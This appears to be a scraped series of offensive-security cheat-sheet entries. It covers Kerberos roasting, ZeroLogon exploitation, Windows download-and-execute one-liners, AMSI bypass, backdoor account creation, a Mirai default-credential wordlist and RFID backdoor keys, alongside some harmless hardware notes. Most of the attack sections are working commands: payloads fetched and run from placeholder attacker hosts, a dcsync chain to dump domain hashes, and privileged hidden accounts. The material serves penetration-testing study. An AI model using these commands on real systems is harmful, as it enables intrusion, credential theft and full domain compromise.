PowerView > Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose

Rubeus

C:\Rubeus>Rubeus.exe asreproast /user:TestOU3user /format:hashcat /outfile:hashes.asreproast
[*] Action: AS-REP roasting
[*] Target User : TestOU3user
[*] Target Domain : testlab.local
[*] SamAccountName : TestOU3user
[*] DistinguishedName : CN=TestOU3user,OU=TestOU3,OU=TestOU2,OU=TestOU1,DC=testlab,DC=local
[*] Using domain controller: testlab.local (192.168.52.100)
[*] Building AS-REQ (w/o preauth) for: 'testlab.local\TestOU3user'
[*] Connecting to 192.168.52.100:88
[*] Sent 169 bytes
[*] Received 1437 bytes
[+] AS-REQ w/o preauth successful!
[*] AS-REP hash:

$krb5asrep$TestOU3user@testlab.local:858B6F645D9F9B57210292E5711E0...(snip)...

GetNPUsers from Impacket Suite

$ python GetNPUsers.py htb.local/svc-alfresco -no-pass
[*] Getting TGT for svc-alfresco
$krb5asrep$23$svc-alfresco@HTB.LOCAL:c13528009a59be0a634bb9b8e84c88ee$cb8e87d02bd0ac7a[...]e776b4

# extract hashes
root@kali:impacket-examples$ python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast
root@kali:impacket-examples$ python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast

netexec Module

Roasting - Kerberoasting

Sat, 25 Jul 2026 18:47:21 +0200

“A service principal name (SPN) is a unique identifier of a service instance. SPNs are used by Kerberos authentication to associate a service instance with a service logon account. " - MSDN

Any valid domain user can request a kerberos ticket (ST) for any domain service. Once the ticket is received, password cracking can be done offline on the ticket to attempt to break the password for whatever user the service is running as.

Roasting - Timeroasting

Sat, 25 Jul 2026 18:47:21 +0200

Timeroasting takes advantage of Windows’ NTP authentication mechanism, allowing unauthenticated attackers to effectively request a password hash of any computer account by sending an NTP request with that account’s RID

SecuraBV/Timeroast - Timeroasting scripts by Tom Tervoort

sudo ./timeroast.py 10.0.0.42 | tee ntp-hashes.txt
hashcat -m 31300 ntp-hashes.txt

References#

Source Code Analysis

Sat, 25 Jul 2026 18:47:21 +0200

Source code analysis is the process of examining and reviewing the code of a software program to identify errors, vulnerabilities, and potential improvements. This can be performed manually by developers or through automated tools that scan the code for issues like security risks, coding standard violations, and performance inefficiencies.

AI Analysis#

trailofbits/skills - Trail of Bits Claude Code skills for security research, vulnerability detection, and audit workflows.

npm install -g @github/copilot
copilot
/login
/model
/plugin marketplace add trailofbits/skills
/plugin marketplace browse trailofbits
/plugin install ask-questions-if-underspecified@trailofbits
/plugin install static-analysis@trailofbits
/plugin install entry-point-analyzer@trailofbits
/plugin install semgrep-rule-creator@trailofbits
/plugin install semgrep-rule-variant-creator@trailofbits
/plugin install sharp-edges@trailofbits
/plugin install insecure-defaults@trailofbits

Semgrep#

Lightweight static analysis for many languages. Find bug variants with patterns that look like source code.

Trust - Privileged Access Management

Sat, 25 Jul 2026 18:47:21 +0200

PAM (Privileged Access Management) introduces bastion forest for management, Shadow Security Principals (groups mapped to high priv groups of managed forests). These allow management of other forests without making changes to groups or ACLs and without interactive logon.

Requirements:

Windows Server 2016 or earlier

If we compromise the bastion we get Domain Admins privileges on the other domain

Default configuration for PAM Trust

# execute on our forest
netdom trust lab.local /domain:bastion.local /ForestTransitive:Yes 
netdom trust lab.local /domain:bastion.local /EnableSIDHistory:Yes 
netdom trust lab.local /domain:bastion.local /EnablePIMTrust:Yes 
netdom trust lab.local /domain:bastion.local /Quarantine:No
# execute on our bastion
netdom trust bastion.local /domain:lab.local /ForestTransitive:Yes

Enumerate PAM trusts

Trust - Relationship

Sat, 25 Jul 2026 18:47:21 +0200

One-way
- Domain B trusts A
- Users in Domain A can access resources in Domain B
- Users in Domain B cannot access resources in Domain A
Two-way
- Domain A trusts Domain B
- Domain B trusts Domain A
- Authentication requests can be passed between the two domains in both directions

Enumerate trusts between domains#

Native nltest
```
nltest /trusted_domains
```

PowerShell GetAllTrustRelationships

([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()

SourceName TargetName TrustType TrustDirection
---------- ---------- --------- --------------
domainA.local domainB.local TreeRoot Bidirectional

netexec module enum_trusts

Vulnerability Reports

Sat, 25 Jul 2026 18:47:21 +0200

A pentest vulnerability report documents the findings of a penetration test, detailing identified security weaknesses, their potential impact, and remediation steps. It is critical for informing stakeholders about the security posture of their systems, prioritizing vulnerabilities, and guiding mitigation efforts. Effective reports enhance overall security by providing actionable insights to prevent exploitation.

Tools#

Tools to help you collaborate and generate your reports.

GhostManager/Ghostwriter - The SpecterOps project management and reporting engine
pwndoc/pwndoc - Pentest Report Generator

List of penetration test reports and templates.

Web Attack Surface

Sat, 25 Jul 2026 18:47:21 +0200

Summary#

Enumerate Subdomains
Subdomain Takeover
References

Enumerate Subdomains#

Subdomain enumeration is the process of identifying all subdomains associated with a main domain (e.g., finding blog.example.com, shop.example.com, etc., for example.com).

Subdomains Databases#

Many databases and tools aggregate data from a variety of online sources, such as DNS databases, certificate transparency logs, APIs (e.g., Shodan, VirusTotal), and other publicly available sources to compile a comprehensive list of potential subdomains.

Windows - AMSI Bypass

Sat, 25 Jul 2026 18:47:21 +0200

Summary#

List AMSI Providers
Which Endpoint Protection is Using AMSI
Patching amsi.dll AmsiScanBuffer by rasta-mouse
Dont use net webclient
Amsi ScanBuffer Patch from -> https://www.contextis.com/de/blog/amsi-bypass
Forcing an error
Disable Script Logging
Amsi Buffer Patch - In memory
Same as 6 but integer Bytes instead of Base64
Using Matt Graeber’s Reflection method
Using Matt Graeber’s Reflection method with WMF5 autologging bypass
Using Matt Graeber’s second Reflection method
Using Cornelis de Plaa’s DLL hijack method
Use Powershell Version 2 - No AMSI Support there
Nishang all in one
Adam Chesters Patch
AMSI.fail

List AMSI Providers#

List providers with : Get-ChildItem -Path 'HKLM:\SOFTWARE\Microsoft\AMSI\Providers\'

Windows - Defenses

Sat, 25 Jul 2026 18:47:21 +0200

Summary#

AppLocker
User Account Control
DPAPI
Powershell
Protected Process Light
Credential Guard
Event Tracing for Windows
Attack Surface Reduction
Windows Defender Antivirus
Windows Defender Application Control
Windows Defender Firewall
Windows Information Protection

AppLocker#

AppLocker is a security feature in Microsoft Windows that provides administrators with the ability to control which applications and files users are allowed to run on their systems. The rules can be based on various criteria, such as the file path, file publisher, or file hash, and can be applied to specific users or groups.

Windows - Download and execute methods

Sat, 25 Jul 2026 18:47:21 +0200

Downloaded files location#

C:\Users<username>\AppData\Local\Microsoft\Windows\Temporary Internet Files\
C:\Users<username>\AppData\Local\Microsoft\Windows\INetCache\IE<subdir>
C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV

Powershell#

From an HTTP server

powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://webserver/payload.ps1')|iex"

# Download only
(New-Object System.Net.WebClient).DownloadFile("http://10.10.10.10/PowerUp.ps1", "C:\Windows\Temp\PowerUp.ps1")
Invoke-WebRequest "http://10.10.10.10/binary.exe" -OutFile "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\binary.exe"

# Download and run Rubeus, with arguments
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.10.10/Rubeus.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[Rubeus.Program]::Main("s4u /user:web01$ /rc4:1d77f43d9604e79e5626c6905705801e /impersonateuser:administrator /msdsspn:cifs/file01 /ptt".Split())

# Execute a specific method from an assembly 
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.10.10/lib.dll')
$assem = [System.Reflection.Assembly]::Load($data)
$class = $assem.GetType("ClassLibrary1.Class1")
$method = $class.GetMethod("runner")
$method.Invoke(0, $null)

From a Webdav server

powershell -exec bypass -f \\webdavserver\folder\payload.ps1

Cmd#

cmd.exe /k < \\webdavserver\folder\batchfile.txt

Cscript / Wscript#

cscript //E:jscript \\webdavserver\folder\payload.txt

Mshta#

mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))

mshta http://webserver/payload.hta

mshta \\webdavserver\folder\payload.hta

Rundll32#

rundll32 \\webdavserver\folder\payload.dll,entrypoint

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();

Regasm / Regsvc @subTee#

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll

Regsvr32 @subTee#

regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll

regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll

Odbcconf#

odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}

Msbuild#

cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"

Certutil#

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe

Bitsadmin#

bitsadmin /transfer mydownloadjob /download /priority normal http://<attackerIP>/xyz.exe C:\\Users\\%USERNAME%\\AppData\\local\\temp\\xyz.exe

References#

arno0x0x - Windows oneliners to download remote payload and execute arbitrary code

Windows - DPAPI

Sat, 25 Jul 2026 18:47:21 +0200

On Windows, credentials saved in the Windows Credentials Manager are encrypted using Microsoft’s Data Protection API and stored as “blob” files in user AppData folder.

Summary#

Data Protection API

Data Protection API#

Outside of a domain: the user’s password hash is used to encrypt these “blobs”.
Inside a domain: the domain controller's master key is used to encrypt these blobs.

With the extracted private key of the domain controller, it is possible to decrypt all the blobs, and therefore to recover all the secrets recorded in the Windows identification manager of all the work
stations in the domain.

Windows - Persistence

Sat, 25 Jul 2026 18:47:21 +0200

Summary#

Tools
Hide Your Binary
Disable Antivirus and Security
Simple User
Serviceland
- IIS
- Windows Service
Elevated
Domain
- Golden Certificate
- Golden Ticket
References

Tools#

SharPersist - Windows persistence toolkit written in C#. - @h4wkst3r

Hide Your Binary#

Sets (+) or clears (-) the Hidden file attribute. If a file uses this attribute set, you must clear the attribute before you can change any other attributes for the file.

Windows - Privilege Escalation

Sat, 25 Jul 2026 18:47:21 +0200

Summary#

Tools
Windows Version and Configuration
User Enumeration
Network Enumeration
Antivirus Enumeration
Default Writable Folders
EoP - Looting for passwords
- SAM and SYSTEM files
- HiveNightmare
- LAPS Settings
- Search for file contents
- Search for a file with a certain filename
- Search the registry for key names and passwords
- Passwords in unattend.xml
- Wifi passwords
- Sticky Notes passwords
- Passwords stored in services
- Passwords stored in Key Manager
- Passwords stored in UWP PasswordVault
- Powershell History
- Powershell Transcript
- Password in Alternate Data Stream
EoP - Processes Enumeration and Tasks
EoP - Incorrect permissions in services
EoP - Windows Subsystem for Linux (WSL)
EoP - Unquoted Service Paths
EoP - $PATH Interception
EoP - Named Pipes
EoP - Kernel Exploitation
EoP - Microsoft Windows Installer
- AlwaysInstallElevated
- CustomActions
EoP - Insecure GUI apps
EoP - Evaluating Vulnerable Drivers
EoP - Printers
- Universal Printer
- Bring Your Own Vulnerability
EoP - Runas
EoP - Abusing Shadow Copies
EoP - From local administrator to NT SYSTEM
EoP - Living Off The Land Binaries and Scripts
EoP - Impersonation Privileges
- Restore A Service Account’s Privileges
- Meterpreter getsystem and alternatives
- RottenPotato (Token Impersonation)
- Juicy Potato (Abusing the golden privileges)
- Rogue Potato (Fake OXID Resolver))
- EFSPotato (MS-EFSR EfsRpcOpenFileRaw))
- PrintSpoofer (Printer Bug)))
EoP - Privileged File Write
- DiagHub
- UsoDLLLoader
- WerTrigger
- WerMgr
EoP - Privileged File Delete
EoP - Common Vulnerabilities and Exposures
- MS08-067 (NetAPI)
- MS10-015 (KiTrap0D)
- MS11-080 (adf.sys)
- MS15-051 (Client Copy Image)
- MS16-032
- MS17-010 (Eternal Blue)
- CVE-2019-1388
EoP - $PATH Interception
References

Tools#

PowerSploit’s PowerUp

Windows - Using credentials

Sat, 25 Jul 2026 18:47:21 +0200

Summary#

Get Credentials
NetExec
Impacket
- PSExec
- WMIExec
- SMBExec
RDP Remote Desktop Protocol
Powershell Remoting Protocol
SSH Protocol
WinRM Protocol
WMI Protocol
Other Methods

Get Credentials#

Create Credential#

net user hacker Hcker_12345678* /add /Y
net localgroup administrators hacker /add
net localgroup "Remote Desktop Users" hacker /add # RDP access
net localgroup "Backup Operators" hacker /add # Full access to files
net group "Domain Admins" hacker /add /domain

# enable a domain user account
net user hacker /ACTIVE:YES /domain

# prevent users from changing their password
net user username /Passwordchg:No

# prevent the password to expire
net user hacker /Expires:Never

# create a machine account (not shown in net users)
net user /add evilbob$ evilpassword

# homoglyph Aԁmіnistratοr (different of Administrator)
Aԁmіnistratοr

Some info about your user

ZeroLogon

Sat, 25 Jul 2026 18:47:21 +0200

CVE-2020-1472

Exploitation:

Spoofing the client credential
Disabling signing and sealing
Spoofing a call
Changing a computer’s AD password to null
From password change to domain admin
:warning: reset the computer’s AD password in a proper way to avoid any Deny of Service

Tools:

cve-2020-1472-exploit.py - Python script from dirkjanm

# Check (https://github.com/SecuraBV/CVE-2020-1472)
proxychains python3 zerologon_tester.py DC01 172.16.1.5

$ git clone https://github.com/dirkjanm/CVE-2020-1472.git

# Activate a virtual env to install impacket
$ python3 -m venv venv
$ source venv/bin/activate
$ pip3 install .

# Exploit the CVE (https://github.com/dirkjanm/CVE-2020-1472/blob/master/cve-2020-1472-exploit.py)
proxychains python3 cve-2020-1472-exploit.py DC01 172.16.1.5

# Find the old NT hash of the DC
proxychains secretsdump.py -history -just-dc-user 'DC01$' -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'CORP/DC01$@DC01.CORP.LOCAL'

# Restore password from secretsdump 
# secretsdump will automatically dump the plaintext machine password (hex encoded) 
# when dumping the local registry secrets on the newest version
python restorepassword.py CORP/DC01@DC01.CORP.LOCAL -target-ip 172.16.1.5 -hexpass e6ad4c4f64e71cf8c8020aa44bbd70ee711b8dce2adecd7e0d7fd1d76d70a848c987450c5be97b230bd144f3c3
deactivate

nccfsas - .NET binary for Cobalt Strike’s execute-assembly

git clone https://github.com/nccgroup/nccfsas
# Check
execute-assembly SharpZeroLogon.exe win-dc01.vulncorp.local

# Resetting the machine account password
execute-assembly SharpZeroLogon.exe win-dc01.vulncorp.local -reset

# Testing from a non Domain-joined machine
execute-assembly SharpZeroLogon.exe win-dc01.vulncorp.local -patch

# Now reset the password back

Mimikatz - 2.2.0 20200917 Post-Zerologon

privilege::debug
# Check for the CVE
lsadump::zerologon /target:DC01.LAB.LOCAL /account:DC01$

# Exploit the CVE and set the computer account's password to ""
lsadump::zerologon /target:DC01.LAB.LOCAL /account:DC01$ /exploit

# Execute dcsync to extract some hashes
lsadump::dcsync /domain:LAB.LOCAL /dc:DC01.LAB.LOCAL /user:krbtgt /authuser:DC01$ /authdomain:LAB /authpassword:"" /authntlm
lsadump::dcsync /domain:LAB.LOCAL /dc:DC01.LAB.LOCAL /user:Administrator /authuser:DC01$ /authdomain:LAB /authpassword:"" /authntlm

# Pass The Hash with the extracted Domain Admin hash
sekurlsa::pth /user:Administrator /domain:LAB /rc4:HASH_NTLM_ADMIN

# Use IP address instead of FQDN to force NTLM with Windows APIs 
# Reset password to Waza1234/Waza1234/Waza1234/
# https://github.com/gentilkiwi/mimikatz/blob/6191b5a8ea40bbd856942cbc1e48a86c3c505dd3/mimikatz/modules/kuhl_m_lsadump.c#L2584
lsadump::postzerologon /target:10.10.10.10 /account:DC01$

netexec - only check

netexec smb 10.10.10.10 -u username -p password -d domain -M zerologon

A 2nd approach to exploit zerologon is done by relaying authentication.

Arduino

Sun, 12 Jul 2026 22:01:52 +0200

Tools#

References#

Arduino - Official Website

Bluetooth

Sun, 12 Jul 2026 22:01:52 +0200

Tools#

Bluetooth configuration#

Requirements and configuration for Kali Linux.

sudo apt-get install bluetooth blueman bluez
sudo systemctl start bluetooth
sudo hciconfig hci0 up

Enumerate Bluetooth devices

$ sudo hcitool lescan
00:1A:7D:DA:71:06 Ph0wn Beacon
25:55:84:20:73:70 (unknown)

[!CAUTION] apt doesn’t have a recent version of bluez, recompile it with the following lines.

wget https://www.kernel.org/pub/linux/bluetooth/bluez-5.18.tar.xz
dpkg --get-selections | grep -v deinstall | grep bluez
tar xvf bluez-5.18.tar.xz
sudo apt-get install libglib2.0-dev libdbus-1-dev libusb-dev libudev-dev libical-dev systemd libreadline-dev
.configure --enable-library
make -j8 && sudo make install
sudo cp attrib/gatttool /usr/local/bin/

BLE - Tools Cheatsheet#

Use Case	Previous Method	Using Caeruleus
Discovering nearby devices	`hcitool lescan` `bettercap ble.recon` `bluetoothctl scan on`	`caeruleus scan`
Listing (and reading) services/characteristics	`bettercap ble.enum <mac>`	`caeruleus enumerate -b <mac> --values`
An interactive session	`gatttool -I` `bluetoothctl` (menu GATT)	`caeruleus shell -b <mac>`
Reading a handle	`gatttool --char-read-hnd 0x0013` `bluetoothctl` select-attribute + read	`caeruleus read -b <mac> -a 0x0013`
Writing to a handle	`gatttool -b de:ad:be:ef:be:f1 --char-write-req -a 0x002c -n $(echo -n "some value" \| xxd -ps)`	`caeruleus write -b de:ad:be:ef:be:f1 -a 0x002c --req -s "some value"`
Capturing notifications	Custom Bleak notification logger	`caeruleus listen -b <mac> -a <handle>`
Checking for unauth data exposure and characteristics that don’t require encryption	Custom Bleak audit scripts	`caeruleus recon` / `caeruleus assess ...`
Fuzzing a characteristic	Custom write fuzzers / boofuzz	`caeruleus fuzz write -b <mac> -a <handle>`
Connection params, MTU	`hcitool con` `btmgmt con-info`	`caeruleus conn-params -b <mac>`
Adapter power and recovery	`btmgmt power` `hciconfig reset` `rfkill`	`caeruleus doctor` `caeruleus adapter power cycle`

BLE - Enumerate services and characteristics#

BLE is based on specification called General Attribute profile (GATT), that defines how communication/data transfer between client and server.

Bruschetta

Sun, 12 Jul 2026 22:01:52 +0200

BRUSCHETTA

Documentation#

whid-injector/BRUSCHETTA-Board - The Multi-Protocol Swiss-Army-Knife for Hardware Hackers (UART/JTAG/SPI/I2C)
whid-injector/PIZZAbite - A cheaper and open-hardware version of the blasoned Sensepeek’s PCBite for Hardware Hacking and DIY Hobbyists

Bruschetta is the latest board to interact with Hardware, it is an upgraded version of these projects.

whid-injector/Focaccia-Board - Multipurpose Breakout for the FT232H
whid-injector/Burtleina-Board - Yet another Multipurpose Breakout Board to hack hardware in a clean and easy way
whid-injector/NANDo-board - 2nd Generation of Multipurpose FTDI-based board for Hardware Hacking and IoT Security Testing

Usage#

Mode 2 (UART1+I2C+SPI-VCP): S1=ON and S2=OFF
Mode 4 (UART1+JTAG): S1=ON and S2=ON

References#

Bus Pirate

Sun, 12 Jul 2026 22:01:52 +0200

BusPirate

Firmwares#

BusPirate/Bus_Pirate

cd Bus_Pirate/package/BPv4-firmware/pirate-loader-v4-source/pirate-loader_lnx
sudo ./pirate-loader_lnx --dev=/dev/ttyACM0 --hex=../BPv4-firmware-v6.3-r2151.hex

Examples#

Dump firmware over SPI using a Bus Pirate

# Identify EEPROM chip
sudo flashrom -p buspirate_spi:dev=/dev/ttyUSB0

# Dump firmware using a bus pirate (SPI)
sudo flashrom -p Buspirate_spi:dev=/dev/ttyUSB0,spispeed=1M -c (Chip name) -r (Name.bin)

References#

CAN - Controller Area Network

Sun, 12 Jul 2026 22:01:52 +0200

The Controller Area Network (CAN) bus is a high-integrity serial communication protocol designed for real-time data exchange in embedded systems, particularly in automotive and industrial applications. It operates on a multi-master, message-oriented architecture, allowing multiple devices (nodes) to communicate on the same network without a central controller.

Interact#

pip install python-can
pip install python-can-utils

import can
bus = can.Bus()
while True:
 msg = can.Message(3, data=[0 for _ in range(8)])
 bus.send(msg)

Tbruno25/can-explorer - Visualize CAN Bus messages in real time

UDS#

Unified Diagnostic Services (UDS) is a communication protocol used in automotive Electronic Control Units (ECUs) to enable diagnostics, firmware updates, routine testing and more.

CH341A

Sun, 12 Jul 2026 22:01:52 +0200

CH341A

Dump SPI flash#

ch341eeprom#

plumbum/ch341eeprom

sudo apt install git make libusb-1.0-0-dev clang
git clone https://github.com/plumbum/ch341eeprom.git
make
./ch341eeprom -v -s 24c05 -r dump.bin

Flashrom#

sudo flashrom -V --programmer ch341a_spi -r dump.bin
sudo flashrom -V --programmer ch341a_spi -r dump.bin -c W25Q16.V # Specify the chip

Chip identification

Sun, 12 Jul 2026 22:01:52 +0200

Google Dork: filetype:pdf <reference number>
datasheetspdf.com
alldatasheet.com
datasheets360.com

EM/RF shield#

Electromagnetic/Radio Frequency Shield should be removed to see what it is hidding.

Default IoT Passwords

Sun, 12 Jul 2026 22:01:52 +0200

IoT Device Default Password Lookup : defpass.com

Mirai Wordlist#

Seclist Mirai Wordlist : danielmiessler/SecLists/master/Passwords/Malware/mirai-botnet.txt

root xc3511
root vizxv
root admin
admin admin
root 888888
root xmhdipc
root default
root jauntech
root 123456
root 54321
support support
root (none)
admin password
root root
root 12345
user user
admin (none)
root pass
admin admin1234
root 1111
admin smcadmin
admin 1111
root 666666
root password
root 1234
root klv123
Administrator admin
service service
supervisor supervisor
guest guest
guest 12345
admin1 password
administrator 1234
666666 666666
888888 888888
ubnt ubnt
root klv1234
root Zte521
root hi3518
root jvbzd
root anko
root zlxx.
root 7ujMko0vizxv
root 7ujMko0admin
root system
root ikwb
root dreambox
root user
root realtek
root 000000
admin 1111111
admin 1234
admin 12345
admin 54321
admin 123456
admin 7ujMko0admin
admin pass
admin meinsm
tech tech
mother fucker

DNP3 - Distributed Network Protocol

Sun, 12 Jul 2026 22:01:52 +0200

Discovery#

DNP3 Clients:

DNP3 Nmap Script:

Source: dnp3-enumerate.nse

nmap -sT --script dnp3-enumerate.nse -p 20000 <target_ip>

Traffic Generation#

DNP3 Crafter

Electronic Components

Sun, 12 Jul 2026 22:01:52 +0200

Resistors#

Capacitors#

Transistors#

Inductors#

Integrated Circuit (IC) microchip#

Microcontroller Unit (MCU)#

System-on-Chip (SoC)#

Trusted Platform Module (TPM)#

ESP32

Sun, 12 Jul 2026 22:01:52 +0200

ESP32

ESP32 and ESP8266 share almost the same architecture.

Tools#

espressif/esptool - Espressif SoC serial bootloader utility
jmswrnr/esp32knife - Tools for ESP32 firmware dissection
scientifichackers/ampy - Utility to interact with a MicroPython board over a serial connection
ESPWebTool - Flash your ESP32 or ESP8266 through your browser.
tenable/esp32_image_parser - A toolkit for helping you reverse engineer ESP32 firmware.

Firmwares#

risinek/esp32-wifi-penetration-tool - Exploring possibilities of ESP32 platform to attack on nearby Wi-Fi networks.
justcallmekoko/ESP32Marauder - A suite of WiFi/Bluetooth offensive and defensive tools for the ESP32

Flashing#

The ESP32 microprocessor uses the Xtensa instruction set, use Tensilica Xtensa 32-bit little-endian in Ghidra.

Evil M5Core2

Sun, 12 Jul 2026 22:01:52 +0200

Evil-M5Core2 is an easy Evil portal and rogue app deployement software designed to work on M5Stack Core2.

Evil-M5Core2

Features#

WiFi Network Scanning: Identify and display nearby WiFi networks.
Network Cloning: Check information and replicate networks for in-depth analysis.
Captive Portal Management: Create and operate a captive portal to prompt users with a page upon connection.
Credential Handling: Capture and manage portal credentials.
Remote Web Server: Monitor the device remotely via a simple web interface that can provide credentials and upload portal that store file on SD card.
Sniffing probes: Sniff and store on SD near probes.
Karma Attack: Try a simple Karma Attack on a captured probe.
Automated Karma Attack: Try Karma Attack on near probe automatically

Firmwares#

Firmware: 7h30th3r0n3/Evil-M5Core2

Requirements:

Fault Injection

Sun, 12 Jul 2026 22:01:52 +0200

Power / VCC - Voltage Glitch#

Power glitch injection is a physical attack technique used to test and exploit vulnerabilities in electronic devices by causing controlled, temporary power disturbances. A VCC glitch, also known as a supply voltage glitch, is a specific type of power glitch attack targeting the voltage supply (VCC) of a microcontroller or integrated circuit (IC) in electronic devices.

The primary goals of this attack are often one of the following:

FCC ID

Sun, 12 Jul 2026 22:01:52 +0200

Searchable FCC ID Database#

An FCC ID is a unique identifier assigned to a device registered with the United States Federal Communications Commission.

fccid.io

For legal sale of wireless deices in the US, manufacturers must:

Have the device evaluated by an independent lab to ensure it conforms to FCC standards
Provide documentation to the FCC of the lab results
Provide User Manuals, Documentation, and Photos relating to the device
Digitally or physically label the device with the unique identifier provided by the FCC (upon approved application)

Firmware Dumping

Sun, 12 Jul 2026 22:01:52 +0200

Flash Memory Types#

NOR Flash (SOIC8 package)
- SPI Flash
- Mostly error “Fault-free” memory
- Used for embedded device that need fast execution, but low storage capacity
NAND Flash (TSOP48 package)
eMMC Flash (BGA{153} package)
UFS Universal Flash Storage

Flash a new firmware into the microcontroller#

Using avrdudes/avrdude

# send raw data firmware
$ avrdude -p m328p -c usbasp -P /dev/ttyUSB0 -b 9600 -U flash:w:flash_raw.bin

# send ihex firmware
$ avrdude -c arduino -p atmega328p -P /dev/ttyUSB* -b115200 -u -V -U flash:w:CHALLENGE.hex
$ avrdude -c usbasp -p m328p -F -U flash:r:dump.hex:i

# default
$ avrdude -c usbasp -p m328p -C /etc/avrdude.conf -U flash:w:hardcodedPassword.ino.arduino_standard.hex

Using raspberrypi/picotool

Firmware Reverse Engineering

Sun, 12 Jul 2026 22:01:52 +0200

Loading bare-metal binaries into IDA#

Requirements:

The load address is the address in memory that the binary is being executed from.
The entry point is the location within the binary where the processor starts executing.

⚠️ For ARM Arduino firwmare the entry point is located at _RESET interruption.

To load it properly in IDA, open the file, select ATMEL AVR and then select ATmega323_L.

ESP8266 : https://github.com/themadinventor/ida-xtensa

Loading bare-metal binaries into Radare2#

Radare2 can disassemble avr, arduino natively

Flipper Zero

Sun, 12 Jul 2026 22:01:52 +0200

FlipperZero

Firmwares#

Firmware Update - PC#

Update to the latest firmware using https://flipperzero.one/update
Download and install qFlipper
Connect your Flipper Zero via USB, update to the official firmware
Disconnect from USB, power off the Flipper Zero, and remove the SD to prepare it for flashing.
Download the latest RogueMaster firmware from their Github Page.
Unzip the downloaded .zip and copy the content into /update of the Flipper SD card (including the .dfu)
On the Flipper Zero, once booted, press down, and left until you are on the ‘Browser’ screen. Scroll down until you see the ‘update’ directory and click on it.
You should now see the contents you uploaded and an ‘update’ option. Hover over the ‘update’ option, click the center button on your Flipper, once again on the ‘Run in App’ option.

Firmware Update - WebUpdater#

GPIO#

GPIO Flipper

Videos#

Tutorials and Resources#

IOC#

MAC addresses from IEEE for Flipper Zero: 0C:FA:22:XX:XX:XX. This applies to Bluetooth, Ethernet, WiFi interfaces.

GoodFET

Sun, 12 Jul 2026 22:01:52 +0200

travisgoodspeed/goodfet - An embedded bus adapter for various microcontrollers and radios.
greatscottgadgets/Facedancer - modern FaceDancer core for multiple devices– including GreatFET

Facedancer#

The Facedancer21 is the twenty-fourth hardware revision of the GoodFET, owing its heritage to the GoodFET41 and Facedancer20. Unlike the general-purpose GoodFET boards, the only purpose of this board is to allow USB devices to be written in host-side Python, so that one workstation can fuzz-test the USB device drivers of another host.

GPS - Global Positioning System

Sun, 12 Jul 2026 22:01:52 +0200

TODO

GSM Network: LimeSDR

Sun, 12 Jul 2026 22:01:52 +0200

DISCLAIMER: This procedure is highly illegal in most parts of the world. Be sure to run this in a closed RF environment (also known as Faraday Cage)

Running a GSM Station with osmo network-in-a-box (sms/audio)
Running a GSM Station with full osmo (sms/audio/data) [TODO]

Running a GSM Station with osmo network-in-a-box#

For this example we will use the Osmocom GSM Stack in the NITB (Network in a box) mode. In this mode the phones connected to your BTS will be able to call each other and send SMS messages. There is also the Interconnect mode in which the BSC (Base Station Controller) connects to a ISDN or IPBX (for example Asterisk) to manage the connected phones. You can check the different modes here: https://osmocom.org/projects/openbsc/wiki/OpenBSC#Configurations-Modes

HF - Mifare Classic

Sun, 12 Jul 2026 22:01:52 +0200

HF - Mifare Classic 1k#

New method for Proxmark : hf mf autopwn

Dictionary attack#

Common keys to try against the card when attempting a dictionnary attack.

Key	Description
FFFFFFFFFFFF	Default key
000000000000	Blank key
A396EFA4E24F	FM11RF08S universal backdoor key
A31667A8CEC1	FM11RF08 older backdoor key

More keys and dictionnaries can be found at the following links:

hf mf chk *1 ? t # Default keys
hf mf chk *1 ? d default_keys.dic
hf mf chk 0 A default_keys.dic # Dictionary attack with file: default_keys.dic

Darkside attack (PRNG Weak)#

Proxmark method:

HF - Mifare DESFire

Sun, 12 Jul 2026 22:01:52 +0200

DESFire® Format#

Mifare DESFire MF3ICD40: uses 3DES encryption, product discontinued.
Mifare DESFire EV1 : Secure channel that can work with all the keys: DES, two-key 3DES, three-key 3DES and AES. Limited to 28 applications containing a maximum of 32 files per application.
Mifare DESFire EV2 : The newest channel that can work with aes key only
Mifare DESFire EV3 : Enhanced transaction speed and even better multi-application support.

Each card has a master application with AID 0x000000 that saves the card’s configuration. The memory organization of DESFire supports up to 28 applications on the card and up to 32 files in each application.

HF - Mifare UltraLight

Sun, 12 Jul 2026 22:01:52 +0200

Ultralight C (3DES authentication)
Ultralight EV1
NTAG2

Chinese backdoor#

pm3 --> hf 14a raw -p -b 7 40
pm3 --> hf 14a raw -p 43
pm3 --> hf 14a raw -p -c a20059982120

0x40, init backdoor mode
0x41, wipe fills card with 0xFF
0x42, fills card with 0x00
0x43, no authentication needed. issue a 0x3000 to read block 0, or write block.
0x44, fills card with 0x55

Simulate#

hf 14a sim 2 <7-byte tag>

References#

MIFARE® Ultralight® - NXP

HF - Vigik

Sun, 12 Jul 2026 22:01:52 +0200

Vigik is essentially a rebranded version of MIFARE Classic because it uses the same underlying technology and standards.

